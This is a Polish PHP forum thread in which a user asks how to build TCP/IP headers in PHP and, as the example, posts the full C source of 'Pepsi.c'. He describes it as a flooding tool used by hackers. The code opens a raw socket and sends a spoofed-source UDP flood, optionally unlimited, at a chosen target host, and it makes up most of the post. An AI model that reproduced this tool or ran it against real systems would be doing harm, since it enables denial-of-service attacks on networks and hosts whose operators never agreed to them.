Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

> Nagłówki TCP/IP w PHP
tajga
post
Post #1





Grupa: Zarejestrowani
Postów: 19
Pomógł: 0
Dołączył: 17.06.2003
Skąd: Konstanci-Jeziorna

Ostrzeżenie: (0%)
-----


Jak zbudować nagłówek tcp/ip w php? Wiem jak to zrobić w C, ale chciałbym to w php.
Go to the top of the page
+Quote Post
 
Start new topic
Odpowiedzi
tajga
post
Post #2





Grupa: Zarejestrowani
Postów: 19
Pomógł: 0
Dołączył: 17.06.2003
Skąd: Konstanci-Jeziorna

Ostrzeżenie: (0%)
-----


W C wygląda to tak że są odpowiednie struktury danych nagłówków IP, TCP. Poprostu wypełnia się je i wysyła. Struktury te są zdefiniowanie w plikach
<netinet/ip.h>
<netinet/tcp.h>
<arpa/inet.h>
<netinet/udp.h>

zamieszczam przykładowy program w C wykorzystujacy budowę nagłówków. Program nazywa się PEPSI i jest popularnym programem do przeciążąnia systemów tzn "flooding", używany przez hakerów.

Kod
#define FRIEND "My christmas present to the Internet -Soldier"

#define VERSION "Pepsi.c v1.7"

#define DSTPORT 7

#define SRCPORT 19

#define PSIZE 1024

#define DWAIT 1

/*

* Inkludy

*/

#include <fcntl.h>

#include <syslog.h>

#include <unistd.h>

#include <stdlib.h>

#include <string.h>

#include <netdb.h>

#include <netconfig.h>

#include <stdio.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <netinet/in_systm.h>

#include <netinet/ip.h>

#include <netinet/tcp.h>

#include <arpa/inet.h>

#include <signal.h>

#include <netinet/udp.h>

#include <string.h>

#include <pwd.h>

/*

* Baner.

*/

void banner()

{

printf( "ttt%s Author - Soldier n", VERSION );

printf( "ttt [10.27.97] nn" );

printf( "This Copy Register to: %snn", FRIEND );

}

/*

* Deklaracje opcji.

*/

struct sockaddr_in dstaddr;

unsigned long dst;

struct udphdr *udp;

struct ip *ip;

char *target;

char *srchost;

int dstport = 0;

int srcport = 0;

int numpacks = 0;

int psize = 0;

int wait = 0;

void usage(char *pname)

{

printf( "Usage:n " );

printf( "%s [-s src] [-n num] [-p size] [-d port] [-o port] [-w wait] <dest>nn", pname );

printf( "t-s <src> : source where packets are coming fromn" );

printf( "t-n <num> : number of UDP packets to sendn" );

printf( "t-p <size> : Packet size [Default is 1024]n" );

printf( "t-d <port> : Destination port [Default is %.2d]n",

DSTPORT );

printf( "t-o <port> : Source port [Default is %.2d]n",

SRCPORT );

printf( "t-w <time> : Wait time between pkts [Default is 1]n" );

printf( "t<dest> : Destinationn" );

printf( "n" );

exit(EXIT_SUCCESS);

}

/*

* Kod sumy kontrolnej, original by Soldier.

*/

unsigned short in_cksum(u_short *addr, int len)

{

register int nleft = len;

register u_short *w = addr;

register int sum = 0;

u_short answer = 0;

while (nleft > 1 )

{

sum += *w++;

sum += *w++;

nleft -= 2;

}



if (nleft == 1)

{

*(u_char *)(&answer) = *(u_char *)w;

sum += answer;

}

sum = (sum >> 17) + (sum & 0xffff);

sum += (sum >> 17);

answer = -sum;

return (answer);

}

void main(int argc, char *argv[])

{

int sen;

int i;

int unlim = 0;

int sec_check;

int opt;

char *packet;

struct hostent *host = NULL;

unsigned long a;

/*

* Rozpoczynamy od banera.

*/

banner();

/*

* Opcje debugowania.

*/

openlog( "PEPSI", 0, LOG_LOCAL5 );

if (argc < 2)

usage(argv[0]);

while ((opt = getopt(argc, argv, "s:d:n:p:w:o:")) != EOF)

{

switch(opt)

{

case 's':

srchost = (char *)malloc(strlen(optarg) + 1);

strcpy(srchost, optarg);

break;

case 'd':

dstport = atoi(optarg);

break;

case 'n':

numpacks = atoi(optarg);

break;

case 'p':

psize = atoi(optarg);

break;

case 'w':

wait = atoi(optarg);

break;

case 'o':

srcport = atoi(optarg);

break;

default:

usage(argv[0]);

break;

}

if (!dstport)

{

dstport = DSTPORT;

}

if (!srcport)

{

srcport = SRCPORT;

}

if (!psize)

{

psize = PSIZE;

}

if (!argv[optind])

{

puts( "[*] Specify a target host, doof!" );

exit(EXIT_FAILURE);

}

target = (char *)malloc(strlen(argv[optind]));

if (!target)

{

puts( "[*] Agh! Out of memory!" );

perror( "malloc" );

exit(EXIT_FAILURE);

}

strcpy(target, argv[optind]);

}

memset(&dstaddr, 0, sizeof(struct sockaddr_in));

dstaddr.sin_family = AF_INET;

dstaddr.sin_addr.s_addr = inet_addr(target);

if (dstaddr.sin_addr.s_addr == -1)

{

host = gethostbyname(target);

if (host == NULL)

{

printf( "[*] Unable to resolve %stn", target );

exit(EXIT_FAILURE);

}

dstaddr.sin_family = host->h_addrtype;

memcpy((caddr_t) &dstaddr.sin_addr, host->h_addr, host->h_length);

}

memcpy(&dst, (char *)&dstaddr.sin_addr.s_addr, 4);

printf( "# Target Host : %sn", target );

printf( "# Source Host : %sn",

(srchost && *srchost) ? srchost : "Random" );

if (!numpacks)

printf( "# Number : Unlimitedn" );

else

printf( "# Number : %dn", numpacks );

printf( "# Packet Size : %dn", psize );

printf( "# Wait Time : %dn", wait );

printf( "# Dest Port : %dn", dstport );

printf( "# Source Port : %dn", srcport );

/*

* Otwarcie gniazda.

*/

sen = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);



packet = (char *)malloc(sizeof(struct ip *) + sizeof(struct udphdr *) +

psize);

ip = (struct ip *)packet;

udp = (struct udphdr *)(packet + sizeof(struct ip));

memset(packet, 0, sizeof(struct ip) + sizeof(struct udphdr) + psize);

if (!numpacks)

{

unlim++;

numpacks++;

}

if (srchost && *srchost)

{

if (!(host = gethostbyname(srchost)))

{

printf( "[*] Unable to resolve %stn", srchost );

syslog( LOG_NOTICE, "Unable to resolve [%s]", srchost );

exit(EXIT_FAILURE);

}

else

{

ip->ip_src.s_addr = ((unsigned long)host->h_addr);

syslog( LOG_NOTICE, "IP source is [%s]", host->h_name );

}

}

ip->ip_dst.s_addr = dst;

ip->ip_v = 4;

ip->ip_hl = 5;

ip->ip_ttl = 255;

ip->ip_p = IPPROTO_UDP;

ip->ip_len = htons(sizeof(struct ip) + sizeof(struct udphdr) + psize);

ip->ip_sum = in_cksum(ip, sizeof(struct ip));

udp->uh_sport = htons(srcport);

udp->uh_dport = htons(dstport);

udp->uh_ulen = htons(sizeof(struct udphdr) + psize);

for (i=0; i<numpacks; (unlim) ? i++, i-- : i++)

{

if (!srchost)

{

ip->ip_src.s_addr = ((unsigned long)rand());

syslog( LOG_NOTICE, "IP source set randomly." );

}



if (sendto(sen, packet, sizeof(struct ip) + sizeof(struct udphdr) +

psize, 0, (struct sockaddr *)&dstaddr,

sizeof(struct sockaddr_in)) == (-1))

{

puts( "[*] Error sending packet." );

perror( "Sendpacket" );

exit(EXIT_FAILURE);

}

usleep(wait);

}

syslog( LOG_NOTICE, "Sent %d packets to [%s]", numpacks, target );

}
Go to the top of the page
+Quote Post

Posty w temacie
- tajga   Nagłówki TCP/IP w PHP   17.06.2003, 12:41:01
- - dragossani   Jakieś szczegóły? php to trochę inny poziom warstw...   18.06.2003, 13:23:44
- - tajga   Buduję server proxy, potrzebuję zamaskować adres I...   18.06.2003, 14:13:36
- - dragossani   Piszesz serwer proxy w php? Jesteś pewien, że to d...   18.06.2003, 14:57:16
- - tajga   dlaczego, działa całkiem sprawnie.   18.06.2003, 15:36:18
- - dragossani   Kod jest opensource? Mógłbyś podać jakiś namiar gd...   18.06.2003, 16:26:21
- - tajga   ok zaraz nadeślę   18.06.2003, 16:36:00
- - Jabol   hehe, racja dragossani. Zresztą temat serwerów w p...   18.06.2003, 16:38:01
- - tajga   server komunikuje się na jakimś porcie, po prostu ...   18.06.2003, 16:43:14
- - tajga   W C wygląda to tak że są odpowiednie struktury dan...   18.06.2003, 16:51:51
- - Jabol   Mógłbyś tutaj umieścić sourcy tego proxy, tak z cz...   18.06.2003, 17:02:01
- - tajga   fakt o tym nie pomyślałem. Dzięki. kod proxy koży...   18.06.2003, 17:07:58
- - tajga   sorry za błędy ortograficzne   18.06.2003, 17:08:52
- - tajga   Ze skryptu można korzystać. Mam tylko jedną prośbę...   18.06.2003, 17:20:29
- - tajga   do sprawnego dzialania trzeba dodać wywołanie funk...   30.06.2003, 07:28:39
- - [Regis]   O kurka... niezle - w zyciu bym sie nie spodziewal...   30.06.2003, 08:17:05
- - squid   Nigdy nie uzywalem TCP/IP bezposrednio w php ale u...   5.07.2003, 11:43:31
- - squid   Cytat if(!extension_loaded('sockets')) ...   5.07.2003, 11:55:30
- - squid   naczy chodzi mi o funkcje dl() a nie extension_loa...   5.07.2003, 11:56:29
- - tajga   możesz pisać dla dl sama nazwę bez rozszerzen   5.09.2003, 16:16:12
- - noose   tajga: takie moze to troche glupie.... mozesz poda...   12.09.2003, 12:27:31
- - tajga   A poco ci nazwy tych plików, nazwij je jak chcesz,...   12.09.2003, 12:31:08
- - noose   dzieki. myslalem, ze to ma jakies znaczenie.....   12.09.2003, 12:35:26
- - tajga   a co instalujesz proxy ?   12.09.2003, 12:39:56
- - noose   to Twoje? tak.... ale cos nie chodzi :? CytatWarni...   12.09.2003, 12:45:24
- - tajga   dwie sprawy: 1.) skrypt nie może działać z serwere...   12.09.2003, 12:51:49
- - noose   to z jakim serwerem ma dzialac :?:   12.09.2003, 12:56:14
- - tajga   z żadnym, ma działać sam, jak masz pytania to wal ...   12.09.2003, 13:01:59


Reply to this topicStart new topic
2 Użytkowników czyta ten temat (2 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Aktualny czas: 6.10.2025 - 23:45